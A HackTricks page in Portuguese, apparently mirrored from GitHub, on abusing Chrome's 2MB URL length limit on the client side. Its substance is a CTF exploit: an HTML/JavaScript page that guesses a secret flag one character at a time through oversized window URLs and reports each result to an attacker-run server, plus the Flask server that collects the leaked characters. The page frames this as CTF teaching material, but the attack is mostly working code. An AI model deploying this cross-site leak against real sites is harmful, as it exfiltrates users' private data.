mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
91 lines
3.8 KiB
Markdown
91 lines
3.8 KiB
Markdown
# Comprimento Máximo de URL - Lado do Cliente
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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Código de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
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```html
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<html>
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<body></body>
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<script>
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(async () => {
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const curr = "http://secrets.wtl.pw/search?query=HackTM{"
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const leak = async (char) => {
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fetch("/?try=" + char)
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let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
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const check = async () => {
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try {
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w.origin
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} catch {
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fetch("/?nope=" + char)
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return
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}
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setTimeout(check, 100)
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}
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check()
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}
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const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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for (let i = 0; i < CHARSET.length; i++) {
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leak(CHARSET[i])
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await new Promise(resolve => setTimeout(resolve, 50))
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}
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})()
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</script>
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</html>
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```
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Lado do servidor:
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```python
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from flask import Flask, request
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app = Flask(__name__)
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CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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chars = []
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@app.route('/', methods=['GET'])
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def index():
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global chars
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nope = request.args.get('nope', '')
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if nope:
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chars.append(nope)
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remaining = [c for c in CHARSET if c not in chars]
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print("Remaining: {}".format(remaining))
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return "OK"
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@app.route('/exploit.html', methods=['GET'])
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def exploit():
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return open('exploit.html', 'r').read()
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if __name__ == '__main__':
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app.run(host='0.0.0.0', port=1337)
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```
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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